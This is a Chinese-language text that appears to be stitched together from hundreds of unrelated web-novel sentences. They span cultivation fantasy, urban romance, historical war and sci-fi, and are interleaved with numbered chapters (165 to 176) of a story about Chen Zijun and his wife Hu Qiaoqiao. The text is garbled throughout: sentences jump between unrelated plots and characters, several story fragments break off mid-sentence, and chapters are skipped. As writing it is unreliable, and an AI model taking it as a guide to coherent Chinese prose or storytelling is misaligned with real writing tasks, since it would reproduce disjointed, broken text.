欣慰的是,何赛花终于又出现了,就算她没来,至少这些人也应该是她的手下,抓到这些人,就可能审讯一番了。 于珊珊鼓足了勇气,来了一句深情告白,然后一下就扑进了郎军的怀里,不敢跟郎军的目光对视了。 在封昊与王加坤也一饮而尽之后,幽琴面色犹豫了好半晌才缓缓开口,面色带着些恳求。 如果真的抓捕魏羽,那么绝对会让这场至少欢乐的抗议游行,变成一场颠覆美国的暴动。 夜色!伴随着血色,漆黑的夜空似乎都被血水浸染得暗红,充满压抑。 当第二天股市一开盘,亿万网民立即点开林氏集团的股票查看情况。 忽然,街边出现了一辆改装过的三菱吉普,以迅雷不及掩耳盗铃之势,直扑人行道上的石如海。路边的人惊呆了,石如海也万万没有想到,自己的生命会这样走到尽头。 见这个虎啸成员还算识相,郎军也就没有难为他,这时把他从地上拎起。 只要入品的仙宴,其上仙珍对伤势俱有妙用,何况还是长云天外首次出现的六品圣宴,菜色更是疗伤圣品。 但是,这也没有什么好担心的,自己老爹就是北京公安局的厅长,对于法律,虽然及不上那些靠法律吃饭的律师,却也试精通部分法律的。 所谓符傀,指的是那些门派,家族之人,为了防止族中后辈在外闯荡之时遭遇不测,便将自己的一道灵身分出藏入护身符赠与后辈,在危急之时只要捏碎护身符,其中的灵气化身便会出来将其后辈保护在其中。。 第165章 不能放弃 “这怎么可能?”聂小倩感到难以置信,“恩公如此强大,他的命魂怎么可能就这样消失……” 燕赤霞也收起了平日里吊儿郎当的模样,走到陈子均身旁,蹲下,伸手探了探他的鼻息,又摸了摸他的脉搏,眉头紧皱,“气息微弱,但身体还活着。只是这命魂消失……闻所未闻。” 他皱起眉,“难道是方才那黑山老妖不服气 笑笑也正想说这个,前世吃到的那些洛神花并不像今日的这样甜,或许真的与水土有关。 雪是什么形状?宏观来看就是一片白茫茫, 盏托细盐, 便可称作是‘银碗盛雪’了;微观来看, 则是一朵一朵的六棱花, 仿佛圣诞节挂在窗前的绒毛饰品。 “我只是一个普通人,只是有点特殊的本事罢了。”墨客缓缓道。 现在她想逃的越远越好,总是想方法避开他的时候。他就这样毫无预警的出现在她面前,所以说现实生活真的比那睦台湾的偶尔剧更加的狗血和天雷滚滚。 “贤哥儿可是还有弄不明白的地方?”赵广安心细,发现了外孙的局促。 现在唐宁安也只有服从公司的安排,先从一个前台做起,也可以累积经验,以后大不了再用一些卑鄙的手段,往上爬就是了。反正她又不可能做一辈子的前台。 她只是微微挣扎了下便冷冷的看着他,她不相信他真的会要了她的命。 “你说什么,有人会碧天云阔曲?”顾清湄声音忽然变得极为尖细。 “这能怪我们,谁让你不说清楚?”郑霜没好气的看了李雪一眼。 “静雪,我打的怎么样?”林轩在湖边说道,他穿着咸鱼装,喝着维他柠檬压惊。 “还行,不过外面似乎动静很大,气温降得很低,到底发生什么事了?”霍顿声音全是担忧。 “是么?”杜子辕对此倒没有多大的反应,反正每次都这样,已经习惯了。 “那我从一个棺材里蹦出来,好像也震惊世人了来着。”林轩说道。 从地球出发,其中一面走不到50光年,就是一片无垠的虚空,其中除了狂暴的能量乱流什么都没有。另一面一直走,历经九大星域,就到了函谷星门,函谷星门过去,就是一条长长的星海走廊,走廊对面就是魔族王国。 张远和夏希颜目光都被这颗魔族的无限强化宝珠给吸引地挪不开眼睛,有了这东西,再加一个魔族的末日级引擎,然后地球再弄一些配件组合,就能打造末日级机甲了。 几年前,顾正茂去世,顾澜哭得几乎断气,他也没有红一下眼睛。 他已经有三年没见过杜箬,这期间会经常想起她,但他总是按捺着不联系,这次来崇州开会,他有半天空余时间,所以鼓着勇气,一头热一样就冲过来了。 “的确如此。”张远仔细观察达姆,发现这么一会儿,他眼中光芒凝聚了不少,如果是不熟悉的人,估计只会觉得他稍显木讷罢了。 洗脸的时候我看到镜子下面并排摆着的两个漱口杯,那个陈识一度很嫌弃的蓝色牙刷已经被他打开用过了,另外一支粉色是我的,一定也是他拿出来放到那里的。 一瞬间,相当真实的画面在驾驶位上方显现,仿佛身临其境一般,充满各种细节。 说话间,几人已经来到了停车场,沈严刚打算开门上车,却突然听到身后响起一个声音。 第166章 领悟神通 在晨曦中,两名魂差的身形显得虚实不定,仿若随时要不见一般。 胡翘翘霍然起身,急切地问道,“两位,我相公的命魂找到了吗?” 黑袍魂差眼神飘忽,不去与胡翘翘对视,低声对白袍魂差道,“那个,要不……你来说?” 白袍魂差闻言,立即大摇其头,“你知道,我性格内向,不会说话,还是你说吧!” 说出这番话的时候,童志鹏一直都在察颜观色,注意着王风的表情,像是要从王风脸上看出点儿什么,而可惜的是,王风神色如常,没有丝毫变化。 孙柏也是个利己主义者,他虽然希望孙家军获胜,但那是希望孙家军得天下,他也能风光起来。 这时候,慕容霆突然有了一个错觉,她不是他的皇后,他们之间疏远到从来没有认识过,可偏偏心里若隐若现的疼痛一遍又一般的提醒他,他们之前明明是最亲密的关系,却偏偏坐着最疏远的事情。 不过程浩说的没错,要有信心,如果徐浪真的打算在娱乐圈混的话,那肯定得想着如何一步步提高。 “轰!”一声轰鸣,整个天命之墟虚空崩裂,被那浩瀚的力量,撕扯开一道黑色的豁口。 而王风劝解的话还没能说出口,刘明江气愤之下,脑子一阵发热,不知道哪根神经抽了筋,竟然冷不防的脱口冒出这么一句。 他感到强大的神力,生命的精气沸腾,如潮涌,气势如潮,他的五脏六腑的神明闪闪发光,没有伤痕也没有污垢,骨骼闪闪发光,神华凝集,肌肤闪闪发光,不像是神肉的身体,反而是世间的祗园的虔诚。 徐浪在宴会上就喝了不少酒,现在也免不了要喝,和众人敬了一圈酒后,大家才算是彻底放开了。 云牙儿没有丝毫形象的打了个哆嗦,转头看见芷月进来,刚才门就是被她推开的。 歪着头走路的天宇突然感觉自己撞到了什么,明明触感很柔软,自己的额头却被撞的老疼。 那如同杀了她似的疼痛,在丛林之中不断的回荡着,姜柯昊能够看到她的皮肤泛着红色,那是毒素扩散了标记。 她有些装不下去,脸上的表情更是冷了几分,但到底是顾忌形象问题,只是语气中带着冷漠。 有手印指纹,在目前的华国来说就可以确定人身份的唯一性,加上代表权威的公司公章,完全可以取信于人,也说得过去。 “好,说吧,有何事?”叶将军会毫无顾忌的答应下来,那嗜血冰莲必定对他来说是非常重要的。 当然,她并不知道之前被齐龙绑架幕后罗绮然居功至伟,也不知道毕阡陌在她不知情的情况下已经教训了罗氏集团。 在神诰宗的历史上,同样有着不少靠着后天努力,成为一方人物的弟子。 “走吧。”拖着行李箱,就准备出去。这高昂的酒店住一次就好,住的时间长了,她的财政就会出现赤字了。她是穷人,实在是负担不起。 “罗西究竟是护祖派里的什么人?是教主、门主,还是堂主什么的?”况且问道。 尸体张口,一口浊气喷向空中,忽然身影一窜,从桃木棺里蹦了出来,径直向陆时冥扑去。 今日扎米多奉命在城外五里之外秘密等候,没想到还真有两拨人马追击使臣的队伍。不过大路朝天,这条道也不是禁止别人通行,所以扎米多一直悄悄尾随,直到对方彻底暴露才追过来击杀。 第167章 穿越?特效? 陈子均凝视着电视的屏幕,纪录片中关于虫洞的描述在他脑海中反复回荡。 时空的弯曲、连接两个不同点的快速通道……这些概念如同闪电般照亮了他原本混沌的思路。 他仿佛看到了一条连接不同位面的隧道,这条隧道并非笔直,而是充满了扭曲和折叠,如同宇宙中的星系般复杂而神秘。 他回想起自己之前对位面 军中将士皆是有血性的男儿,鲁肃明白孙权让他前往苍梧郡,更多是为了避免军中将士与晋国的使者发生冲突。 “华将军,你是说与臧霸麾下的骑兵交战的时候,有一种与飞骑对战之感?”陈登问道。 原来此时巴曼华的神通已经不像之前,刚才需要目光相接的映射,就好像照镜子,角度不对就看不到里面的人物影子,现在是实实在在的神念或说脑电波相连接,只要距离不远,大脑能够支撑,并不需要正面相对。 诸侯联军攻打并州的失败,就是诸侯走向没落的开始,如袁绍,从诸侯之中消失。 “喏。”众人齐声抱拳道,对于庞远的武艺,军中的将领还是比较佩服的。 像是过去了一个世纪,眼前的景象慢慢清晰起来,只见miko一脸焦急与担心。 她说着,拿出了一张半截面具,那是从索莉娅脸上取下来的,现在破损的面具合二为一。 在日军的步步紧逼下,中国军不得不在整编了几个德械师后,就拉上淞沪会战去,几乎消耗殆尽了。 很少有人能够理解现在加尔鲁什的状态,他的脸上,就差写着愤怒二字。 尤其是傅希希的粉丝,见着有大v帮说话,更是又开始反咬,不断的开帖子来diss南疏,并拿她被p过的照片来说南疏有多丑。 叶风仔细感觉了一下,并发现这个附身符的材料有些不太一般,拿在手上一片冰凉确实可以给人起到安神的作用。 忍不住伸手捂住腹部,可就在她手刚一触碰上腹部的那一刻,她似乎清楚的感觉到,体内真的有东西在涌动。 但是用来提升肉身修为的丹药却不相同,只要是有便可以无限服用,效果缩水的并不算厉害,身体并不会起多少的免疫力,毕竟肉身和修为是不是两码事,两者之间压根就不相同。 关键是还看得出不是南疏找替身做的,视频里面拍完了她的上半身,能够把她的脸和手上的动作结合在一起。 “你不会就是为了这个果子!才被禁足的?”云舞偏过头看向坐在她身边的龙三。 如果楚天雪带着对楚源的愧疚离去,恐怕这件事会成为她一生的阴影也罢,做事就做全面好了。 第二种最可怕,因为它可能会让整个娱乐圈开始陷入一种恐慌之中。 他想起曾经听闻父亲败北失踪的晴天霹雳,又回想起背着母亲躲避仇家的艰辛,不知道该说什么。 没有人留下来看好戏,太太领着她们都出去了,说是要给新姨娘好好摆几桌酒,热闹一番,是对她忠心的奖赏。 应该是那个意思吧?铃木敏夫心里这么想着,既满心期待,又有些患得患失忐忑不安。铃木敏夫眼睛紧紧盯着社长大人的嘴唇,生怕错过任何一个即将决定自己命运的字眼。 根据罗卓所知,当年孙悟空在花果山的时候,确实是有结义兄弟的,不但有,还有六个之多,其中一个就是牛魔王,而其余六个,也都是赫赫有名的大妖。 第168章 不再瞒她 陈子均一边走,一边用余光确定胡翘翘在跟着他。 走出一段路后,胡翘翘仍有些不太安心,手指捏着衣摆,面露犹豫地小声说,“那个……” 陈子均停下来,扭头看着她,“什么?” “你真是我相公吗?” “……嗯。” “那……你知道我叫什么名字吗?”她紧张地追问。 陈子均笑了,“ 虽然圣上的身体一直都不太好,但是这样的昏迷,还是极少出现的,也不会持续这么长时间。 殿上大臣众多,但是论起军事才能,当属李靖第一,李道宗次之,眼下他们两人赞同移驾太极宫,掌管兵部、深知兵事的崔敦礼亦附和,其余人基本没有反驳的余地。 顾曳当然也看出来了,对于其他信息,两边人都没有多说,各有隐藏,只是对方这话说完,俨然交流中断了。 看着之前气势凌厉的皮卡丘,那闪烁着的雷鸣,气势猛然变强,恐怖至极,显然不是普通的神奇宝贝能够拥有的。 此事,对于盘庚来说,是一件好事,对于他们八人来说,也就那般,看着这些年来观盘庚门下弟子英杰辈出,反观己身的道统,却没有强力后辈,实在是令其余八位道尊心中不是滋味。 北堂的人缩手了,修仙的人也多数以个体为考虑基础,谁会冲上去你死我活? 他脑海里冒出这个念头,身上并无萎靡之气,应当是傲慢,可身上也无狂傲之气又是怎么回事? 而且平刀片豆腐的时候,手腕没有出力。只用手大臂带动前臂,硬生生的往里面挤压。 看到这里,原本脸色就很严肃的阿桔脸色就变的更加的深沉和凝重起来了,因为,这只大纲蛇散发出来的威压实在是太惊人了,不得不让他警惕起来。 元始真意运转,一道璀璨的紫金色神光从体内迸出,手持干戚的巨灵神刑天立于一侧,修为仍是法则圆满,但在九转玄功的加持下,实力超越普通圆满妖皇多矣。 他手掌上移,顺着她的后背向上,一点点进攻着他没有触碰过的地带,那紧贴着他胸膛的柔软,咫尺之间。 郭大路只觉得全身不舒服,就好像喝醉酒第二天醒来的时候一样,手心里流着冷汗,头疼得恨不得拿把刀来将脑袋砍掉。 说到腐蚀性的物质实在是太多了,而且能够令到树木枯死的方法也多种多样,因此这一条线索也基本上算不上什么了,必须要详细一点才行。 “狗咬狗一嘴毛,你们就没一个好东西,阿玉根本就不喜欢你们,如果不是们横插一脚,她怎么可能会离开我!”白岩冷冷的对两人说道,嘴里丝毫不留情的骂着。 “皇上,阉党的所有人包括魏忠贤都跑到了海外的一个叫台湾的地方。”徐光启说道。 明瑾嘉也不知道要怎么说,只是感觉隋义现在对叶芷的感情是很单纯的占有,能否把这种占有称为喜欢,明瑾嘉也不敢作出判断。 “大早上哪儿有奶茶店开门。”喝了口,味道还不错,想知道是哪家的,可是叶芷没有看见奶茶外包装的logo。 只是,她一直在忍着,忍着不让自己掉眼泪,忍着不让自己哭出来。 隋义瞄了眼自己抓着叶芷手腕的手,好像是用力了些,松开后叶芷红红的手腕映入隋义的眼中。 也正是双方现在谁也奈何不了谁,因此造成了现在相互对峙的局面。 第169章 她 陈子均揉了揉她的发顶,温声道,“我得抓紧时间多推演几次位面传送神通,这不是闹着玩儿的,除非有了十成十的把握,我才能放心带着你回去。娘子放心,等回去以后,我一定全都说给你听。” 胡翘翘明白事情的轻重缓急,乖巧地点了点头:“嗯,我知道。不过,相公,还需要多久呀?” “再过几天应该差不多了。” 叶惊尘目光幽幽,要知道,在两天前,他的卡上只有五百联盟币。 听袁宏这么一说,柳乘风瞬间被逗乐,直说他修为虽不如自己,嘴上功夫却远远超过了自己,这也算青出于蓝而胜于蓝吧。 蓝色的气劲如同切豆腐一般把树干切成了两半,然后剑气直接就朝着伪烈阳的脑门给劈了过去。 坟地中果然也有鬼物存在,看到叶惊尘就攻击了过来,最终当然是被叶惊尘打死的下场。 在王楚的带领之下,赵晓东三人离开了这里,向着鬼子指挥部方向走去。 “你喜欢我?”池野意外地看了她,漂亮的眸子里瞬间溢出星星点点的光芒来。 对金雕来说,不知道怎么办的时候就往高处飞,这是它的本能。这次也不例外,金雕扇动翅膀,不断地往高处飞了过去。 点点星光在他脑海中闪烁,他的脑海之中一片清明,似乎来到了星空,感受到了星空的伟岸和浩瀚。 待皇甫夜的话音落下,他激动而又震惊的眼神看了半晌,才慢慢的回过神来。 这也是他,为什么不让赵晓东等人,在城墙上继续等待鬼子,阻击鬼子的原因。 他们都用鄙视的眼神在看着江歌,甚至是嘲讽他,走过去拍拍他的肩膀。 而这个嫪毐,名义上是被阉割过送入宫中,但那健硕的身体和充满男子气概的步态,怎么看也不像是个阉人。 随后从前台抽了十几张湿巾,一边擦着手,一边疾步往电梯里走去,连头都没有回一下。 江歌没有去管这些事情,他只是在这些青铜器的面前走来走去,哎呀,最后都要哭了。 就好像合格的谜题不应该是脸滚键盘随机滚出来的,宇宙也不应该是在偶然之中随机诞生的。怎么可以是呢? 可就在他即将沉浸在这种令人放松的音调之中时,他察觉到了一丝不对劲。 姐姐生前的时候,池太太就对姐姐说过,不让她进家门,那说明池太太不喜欢姐姐,不喜欢的话,池太太现在说的这些话,舒晚自然会持怀疑态度。 别看红莲天真烂漫,不守礼法,但红莲只不过是恃宠而骄不去遵守礼法,却不代表她不会。 当着各大各方势力,各大家族的面,敢骂王城燕雨卫统领老东西的,也唯有这位大炎龙王了。 因此,每当合纵联军来犯,历代秦王都会前往蓝田大营,商议军机,并准备迎战。 她停止了挣扎,手中的包袱,缓缓地掉落在了下来,朝着水底落去。 他的身上有着三把剑,每一把的走向都是不同,自然是不可以三把一起拔掉,只能一把一把的开始拔。 蕊儿一边为这里的科技赞叹,一边起身下床,蕊儿喝了琼液,一下子来了精神,决定开启电脑浏览一下这个星球的整体风貌。 霍萧然说过他们父亲的死和这个医生有着莫名的关系!而现在照片里,他又和云璃在一起? 卫宗则阴冷的声音伴随着冷风轻飘飘地从秋凌央的耳边飘过,令她浑身都起了鸡皮疙瘩。 第170章 新的发现 出了酒店大门,胡翘翘再次被马路上来来往往的车辆给吸引住了。 “相公,这些铁盒子……这些车,跑得真快,在这个世界,凡人也能拥有这么好的东西啊。”她由衷地赞叹,“要是当初在白崖村能有车,我们去镇上赶集就方便多了。” 陈子均看着她亮晶晶的眼睛,带着笑意问道:“娘子想坐哪个?” “啊?所有 在魏炀和鲨王在海里战斗期间,天狼号周围的战斗也结束了,兽人死伤不少,特别是炮灰级的种族,有的竟只剩下了几人,而黑狼族们也死了八人。 但他却没想到。6一鸣竟然也选择了在这个时间来访,如此一来。他原本的打算可能就要落空了。 其实,这几位魔神也都没有反对的意思,他们都清楚地知道魏炀戒指里的那两个秘密武器,一时间,众魔神都在为空间主神默哀。 让邹川感觉诡异的是,要他不移动机甲的时候,斑斓壳虫似乎并没有注意到他的机甲。 三十一日上午,一月份的最后一天,天空纷纷扬扬地飘洒着雪花。粱晨乘车来到县政府,下了车,仰头看了看阴沉沉的天空,几点雪花落在他的脸上,让他感受到一种沁入肌肤的冰凉。 沿途百姓早就听过诸葛亮治军之名,又得诸葛亮赈济,心中感激。于是扶老携幼,沿途瞻仰观看诸葛军行军,并焚香礼拜。诸葛亮都好好安抚,并与当地官佐频繁联谊,交流感情,拉拢人心。 “其实,其实在我踏出生命森林那一刻起,他们就不再当我为生命圣兽的一员了。被发现了也没有什么。顶多,顶多我们合力将他们打晕了便是了……”月菲茜顿了一下又缓缓地道。口语中带着极深的悲哀。 “哼!你将他封印在锁兽诏中的灵魂核心放出,我可以饶你不死!”再三企图接近双翼蛙皇。却始终未能得逞,粉红身影看样子又不愿意伤害它,只好恼怒地冲着凌峰喝道。 当傲晨施展出拳技*死神的光临的时候,那年轻人立刻放弃了最后一丝的顾忌,施展无上神通赶了过来。不过,他也看出傲晨并没有达到昔日守护者龙破天的境界,全力施为也不是自己的对手。 邪血大魔神那尖锐刺耳的声音似乎充满了无尽的恐怖和惊骇,可是依旧很不甘心地疯狂催动着自己的领域疯狂攻击着。 其实亚托克斯本是个恕瑞玛的战士,在太阳圆盘下获得飞升成为神,不过后来老黄鸡驾崩了,亚托克斯的意识便被巨神族封印在了自己的剑中。 不过刘灵这时也感觉到了,原来自己这炁还能当查克拉用,或许和原世界的能量一样?本来就是相通的也说不准? 王风也忙把自己的修为气势收起,却眉头一皱,捂住了自己的胸口。 齐逍笑呵呵地又冲阿九说,“袁妹妹,若是苏兄弟欺负你,你就给我带信,我定会帮你出气。”最爱凑热闹的庞飞立马附和。 眼看要踢到赤兔马了,赤兔马果断放弃龙形态身,回复普通的赤兔马体型。 从他们这个位置,由于草丛和刚才那山羊的缘故,如果不是山羊逃走,根本不可能看到这个箱子的影子。若是不走到近前来,那山羊也不会跑,就真的与这箱子擦肩而过了。 秦霄白一边说着,而众人也在一边听着并且在心中模拟计划的可能性。 第171章 炼化河图 说完之后大批的遮天手下带着整齐的装备,跨着威武的步伐一个个向山口组迈进,随行的还有六辆最新主战坦克,以及两架武装直升机,知道的他们这是黑社会火拼,不知道还以为他们这是去打仗呢。 此刻,他的周身出现了一把巨大的冰锤,这冰锤犹如实质,比之前与苍天碰撞的冰锤要墙上许多倍。 凰舞军团成功的回到了人族的国度,并且是抓住了魔族的圣子,这让人很是震动,据说此人还是镇星候的七子所为,这其中的渲染自然是云阳在背后推动,要的就是风明日名动天下,谁也不能抹杀他的功劳。 魏楠倒是连忙拉了薛梅一下,把她推进了格子里,然后自己钻进了另一个格子。 这本身就是卓老一辈子努力的成果,让更多的人学到,才能更多的体现出其中的价值,至于李阳自己,这些东西纪念意义高于实际作用。 不过这都是次要的,钱的问题,对现在的杨彬来说,已经不是问题了。而实验室建在岛国之后,他所需求的人脑也可以足量供应。所以,随便他吧。 李阳立即点头,被两位老前辈笑一笑没什么关系,更何况他们还不是真的笑话自己。 二是每天使用分身术的次数,由1、2级的时候的一次,变成了一天可以使用两次。 所以傲宇很是干脆只见他闪动了几下,以肉眼看不到的速度,把这几个混混打倒在地,然后对着仅仅剩余的一个道:你知道怎么做了? 也从侧面印证,他们需要很好的眼光,否则一个看不好,碰上一颗硬钉子,轻的缺胳膊少腿,重的必死无疑。 陈浩然挠了挠头,他不知道怎么和刘鑫解释,他从大学毕业以后就被抓进了大牢,怎么可能参加高中同学的聚餐。 坐在之人的职位相当于省份的正厅级,地区级的领导干部,久居上位,颇为威权,赫然之间,竟有一种威势,散发出来的气势让人心里受困。 “好,那你可要注意安全,我担心你。”王紫萱虽然不想离开,但作为一个懂事的妻子应该知道什么时候该退什么时候该进。 拿到玄天丹之后,陈煜直接就从王家离开了,而王家家主只能这么恨恨的看着陈煜,但是却一点办法都没有。 只是看到他笑眯眯的模样,在场的青年才俊都不知道为何,竟是感觉到了一股刻骨的寒意,一个个皆是下意识的挪开了目光,不想和无名发生目光上的对视。 陈煜看着白鸽苍白的脸色却继续不间断的训练,虽然很欣慰但连忙喊停。 这一次,她是真的动怒了,而不是像平时似的,刻意伪装出来的那种冷笑。 “这位先生,手续都已经给您办好了,牌照两天之内就能出来,到时候给您送到家里去。”赵经理把手续袋放到司徒轩的跟前恭敬说道。 一夜无话,第二天,华等人在一处裂谷之中休息了一日,傍晚才再次出发,当赶到雪山山脉的时候已经是再次要天亮了。 我感觉有股无形的压力也随着他的走近而靠近,但还是忍住向后退去的冲动,仰头望着他。 那人朝着唐渊点点头:“飞哥,我们阎哥在那边等你!”说完做了个请的手势,不用说他口中的阎哥肯定是吕剑锋手下的干将——阎王爷了。 最后又用大锅烧好驱虫驱鼠的药掸上,来来回回的,等到院子收拾干净,已近亥时。 “承让承让,我手下的人又不是咱们这种人,没啥可比性。”段兴挠着头说道。 靳墨北的手感觉着白初晨的反应,手上的动作很温柔,说出来的话却是没一句好听的。 “我上班的时间本来就不够,能多做点就多做点。”骆雪说着话,已经把垃圾塞进了垃圾车里。 “噗!咕!咕!”他话音刚一落原本无声涌动的泉水重重的鼓了两个水泡。 她知道他说的是事实,只是,如何反抗呢?她心中充满了无力感。 “我命休矣!”唐渊叹息了一声,尽管心中不甘的,但是已经无力反抗了。 名字,这个名字,居然是得他另眼相待的原因,想笑还真是可笑。 一喜是张浩拿他号炼妖出了15技能三特殊童子,二喜是自己刮出大奖。 几个被敲掉牙齿的兖州皇城司卒子,被绑的严严实实,绝望的瘫坐在一旁。 说不定去了龙巢,这些新修炼的剑法招式,在里面能发挥至关重要的作用。 说完继续按压帝夜珩的胸腔,捏开他的嘴 将空气渡了过去。反复如此,足足有一盏茶的时间,但是帝夜珩仍旧没有睁眼的迹象。 许久都没有联系的人,怎么会突然给她打电话,林溪心里突突直跳,不及思索就接通了电话。 万一闺蜜和自己玩明修栈道,暗度陈仓那套,直接按这她报的时间和地点去敲老板路飞的闷棍,那事实可就发达了。 “报仇?找谁报仇?你想找血尊报仇!?”慕容成惊讶的张嘴,脸上的伤让他疼的立刻闭上了嘴。 可现在他和阿姐感情好了,他就更舍不得,也不想回到以前的相处方式。 廖竹音恨谢宜笑,认为她有今日,都是谢宜笑害的,害得她一步步踏入万劫不复之地。 刚开始,几个董事说了一些和公司发展有关不轻不重的决策,同意也行,不同意也没什么影响。 好在这些镇守宝物的荒兽,大多只是一些真武境荒兽,而且还是数量很少,大多数甚至是孤单单的。这一点,丹辰同样能够理解,毕竟这宝物要是被太多荒兽占据,很可能就会出现分赃不均的情况。 第172章 想让你看 魂师因为有魂环的存在,这才是最麻烦的,不解掉魂环,魂师的魂力就散不掉,就会造成魂力与灵力的冲突,而魂兽没有魂环,散去魂力就方便多了。 老灰本来一直呆在她的空间里,之前关闭百兽大阵的事它帮不上什么忙,却也一直留意着外面的动静。此时,终于轮到它出力了,它俯低身子,载着叶萦坐稳,如一抹幽灵般朝烟尘外冲去。 乘蛇回去?!林枫瞪大了双眼再次看向那正在与白曲灵撒娇的白蛇。浑身打了一个寒颤,他本就对蛇怕的要死,现在不仅要他看着蛇,还要乘在他身上?!一想到白蛇那无麟的皮肤和冰冷的温度,林枫心中不断发憷。 她肚子太大了,躺下起来就是一个大工程,需要借力才能坐起来。 其实到不是客气的夸赞,而是余沫熙确实也让他感觉到有些意外。 天依稍微歪了一下头,有些担心的看着林雨,有些觉得林雨好像摔傻了一样,不过她却不知道,她的样子萌翻了林雨。 她有些晕晕的,忘记呼吸,忘记自己根本就没受伤,顺着自己心,跟着他上车了。 这倒不是团长汇报信息不及时,而是他想先确定下来信息无误了,在向上级汇报,这样才能保证信息的准确性。 “舞魅的都出去点围观模式,让我和他单挑。”绿毛龟的话还是挺管用的,所有的非主流全都退出去等待着二人开跳,然后围观。 她的身影轻盈而优美,一路上避开了两伙打劫的人,来到了森林和沼泽湖泊的交界处。 所以,杨戬一到积雷山,根本就没有管李天王这个指挥官,直接就施展法天象地的神通,踩向积雷山。虽然没有一点纪律性,但是,却让士气低落的天庭众将士士气长了回来。 军事会议,已经没有召开的必要了,因为军区内的将领,都在前线指挥着自己的军队。 他不是无缘无故就取人性命的人,此刻熊玉直盯盯的看着跨刀大汉,而逍遥子则在一旁面无表情的看着熊玉。 “你说这话的目的是什么?难道你就以为我一定会嫁给你?”夏芸咬着牙说出这句话。 来人穿着一身深黄色的长袍,十指干瘦有力,他的眼睛中总是时不时的露出阴沉之色,他的左手手腕处还有一处一尺多长的伤口,来人正是唐门的唐锲。 李云飞是很崇拜叶孤城。但是他从来没有见过叶孤城。看到这个男人,他就知道,这人就是叶孤城,白云城主叶孤城。这世间没有人能掩盖他的风采,西门吹雪也不行。 几片活人聚集的地方,像是笼罩了一层金色光幕,耀眼的光芒辉映了这片黑暗大地。 师妃暄眼睛一睁,哭喊道:“对不起,我错了,我不该咬着你不放。我错了…我错了。”一边说一边流着眼泪,洁白的双颊滑落点点泪珠,那凄美的画面,让李云飞看的一阵目眩。 这就是年轻人相爱会遇到问题,当双方发生争执时没有一方愿意低头打破僵局时,那事情往往会向更为严重的地步发展。 要垒一堵墙,有墙的专用模具,将这种蘑菇的孢子洒进模具里面,浇水施肥,用不了几天蘑菇就会将模具撑的满满的,一点空隙都留不下,然后揭开模具,在墙的外面涂上一层阻止蘑菇生长的药水,一堵墙就完成了。 就算朵鲁梵天这个不成器的东西靠不住,他也不能让洛九天如此轻易的成功。 对于罗云阳能够支撑如此长的时间,定光圣帝的眼眸中闪过了一丝惊异。 冯可儿说这句话的时候,脸上露着浅浅的笑容,这是通过自己的经验总结出来的,并不需要每一件事情都等着张艳芳去吩咐。 噗的一声沈玉暖笑出声来,真的是自私的人无论怎样都别指望他能有良心。 孔白梅脑中一瞬间空白,嘴巴想说,身体好像极力抗拒,两股势力在身体内较量的结果是抽抽着倒地不起。 竟真的要袭警,但是姜家的警卫出手,都不用君瓷,内山村的人就被全部制住了。 这次的取景君瓷打算去找真实景点拍摄,最主要是自己拍戏都依赖咕噜用特效,还没怎么见识过地球的大自然风光,所以这一趟君瓷定了十几个国家。 可是现在,如果罗云阳分到九成的话,那么他们几个,可是半成都分不到。 华美奢侈而不失神圣的寝宫内,空无一人,方天佑以神识探测,只发现高台后面有一座石门。 吴雪妍那带着魔力的轻吟又响起,车厢里的气温明显开始回升 ,压迫的气压也逐渐消失。 顾遥心中暗道,原来是眼神不好怕是离得远根本看不清了。一面看着那昏黄的灯火,暗道旁的也算了,这样的。灯火怎么验尸。 弑魔战诀:杀戮者专属被动技能,攻击怪物无视对方闪避效果100%命中,对玩家无效,该技能不可升级。 第173章 无师自通 陈子均看到胡翘翘的模样,立刻明白自己的话让她想歪了,板着脸,在她额头上敲了一下:“还在胡思乱想?专心点。” 哼,相公真是好没情调呀! 胡翘翘心中悻悻,无奈之下,只能凝神专注,全力用太阴感应诀吸收太阴星力。 可惜,每次吸收的星力,和那海量的太阴星力比起来,仍是微不足道。 陈子均 “嘶!”他虽然在极力强忍,但苍白的脸色与额头冒出的冷汗,出卖了他看起来没事的表情。 见到至尊果实,那些家伙便是大打出手,谁都不肯让步,为了至尊果实,杀招频出,丝毫不留情面。 两年之后,不论自己死活,林颜悟与他都再无瓜葛,不会伤心,不会难过,更不会再遭受更大的伤害。 当他的这个念头传达过去,这件宝物顿时反馈来颇为激动的情绪,显然是已经认可了这个崭新的名字。 他倒是根本没想到这个白骨罗森已经换人,毕竟白骨罗森的实力和手段都是了不得的,谁又能够想到真正的白骨罗森已经死了,现在这个只是冒牌货? “先坐下喝杯茶吧!”姜慧心里虽然很着急,但还是礼貌的邀请道。 艾琳唱的仍然不是沈逸给她写的三首歌,那些歌不到决赛,她不准备拿出来。 甄乾规定的时间的确算不上宽松,五峰列岛现在还算不上富裕,至少甄乾是这样看的,大多数还要为了生机奔波,和狼穴安逸的生活完全不同,恰恰是因为五峰列岛不可能避世的原因,想过桃花源的生活根本不可能。 他们聊着天,在等待。四品紫火整整烧了三个时辰,这才缓缓的降下火头。 他的本尊需要治疗肉身的伤势,现在已经不能再拖下去,否则就有可能造成更大的二次伤害,那对今后的修炼就会产生反作用,这是得不偿失的。 在这样的夜晚,加上他们都没有点火把,对面的家伙也根本看不出这五十人到底是不是汉人假扮的,再加上出来对话的契丹巡哨头子他们都认识,也就没有起疑。 同时,他还知道,如果某一个种族内随着信仰产生了先知这样的大能者,那么他们的种族自然可以蒸蒸日上。只不过唯一的缺憾就是,先知只能有一位,除非这位先知死亡,才能出现下一位先知,代代相传,好似传承。 空寂禅师等到格尤金和俾骨通汇合之后,也心满意足。就凭借他们三人同时出动,就可以和无量空域的任何一个道场直接叫板!现在不过是去增援而已,这样一股力量应该足够使用了。 蚩尤眼睛发红的看着身后所剩无几的兄弟,三个分团四百多人多打光了,主力团八十个兄弟等级最少的也降低了七八级,在打下去的后果也是等级掉光掉到1级为止。 有了这个结果,李旭原本提到嗓子眼的一颗心,终于稍稍平静了一些。现在敌人不过是把自己困住了,但是想抓住自己这些人却还没有这个本事。 当从叶三郎的口中他们得知现世已经天翻地覆,现在的朝廷是大唐时,也不由得有些感叹,他们虽然一出生就在天剑郡,但是同样向往着回归到那天高地远的现世。 克迪纳尔的拳头对着张岩的脑袋轰了过来,这时候张岩就算死了也没有多大的关系,这个世界已近和自己的世界相连,可以完全抽取控制。 第176章 看看诚意 “对了,相公,你的那个位面传送神通,是什么原理呀?”胡翘翘突然问道,试图转移自己的注意力。 陈子均这才想起来,他从未给胡翘翘解释过,传送神通这类空间法则的原理。 